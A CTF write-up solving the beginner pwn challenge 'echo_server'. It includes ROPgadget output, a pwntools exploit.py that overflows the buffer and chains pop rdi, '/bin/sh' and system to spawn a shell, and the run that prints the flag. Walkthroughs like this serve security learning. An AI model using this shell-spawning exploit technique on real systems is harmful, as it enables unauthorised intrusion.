Pwnctf echo_server Writeup

kazma 成大資安社 創辦人/社長

echo_server

level1 的題目就不解釋太多了w,先執行看一下:

preview

checksec:

checksec

r2:

r2

1
2
3
4
└─$ ROPgadget --binary ./echo_server --string '/bin/sh'
Strings information
============================================================
0x00000000004009c0 : /bin/sh
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
└─$ ROPgadget --binary ./echo_server --only 'pop|ret'
Gadgets information
============================================================
0x000000000040091c : pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040091e : pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400920 : pop r14 ; pop r15 ; ret
0x0000000000400922 : pop r15 ; ret
0x000000000040091b : pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
0x000000000040091f : pop rbp ; pop r14 ; pop r15 ; ret
0x0000000000400630 : pop rbp ; ret
0x0000000000400923 : pop rdi ; ret
0x0000000000400921 : pop rsi ; pop r15 ; ret
0x000000000040091d : pop rsp ; pop r13 ; pop r14 ; pop r15 ; ret
0x0000000000400541 : ret
0x000000000040074c : ret 0xb8
0x000000000040089a : ret 0xfffc

Unique gadgets found: 13

exploit.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

context.arch = 'amd64'
r = process('./echo_server')

pop_rdi = 0x400923
bin_sh = 0x4009c0
system = 0x400570
ret = 0x400541

p = flat(
b'a'*0x38,
ret,
pop_rdi,
bin_sh,
system
)

r.sendline(p)
#r.sendline('cat flag')
r.interactive()

result:

1
2
3
4
5
6
7
8
9
10
11
12
└─$ python exploit.py
[+] Starting local process './echo_server': pid 296340
[*] Switching to interactive mode
========= echo server =========
This is an echo server.
It will echo whatever you type.
But not something like:
/bin/sh
cat /home/ctf/flag
===============================
> $ cat flag
MyFirstCTF{T4k3_1t_iF_u_w4nt_t0_us3_sIng13_ROPch41n}

Pwned !!!

  • Title: Pwnctf echo_server Writeup
  • Author: kazma
  • Created at : 2023-12-18 18:20:55
  • Updated at : 2023-12-19 19:53:10
  • Link: https://kazma.tw/2023/12/18/Pwnctf-echo-server-Writeup/
  • License: This work is licensed under CC BY-NC-SA 4.0.
 Comments
On this page
Pwnctf echo_server Writeup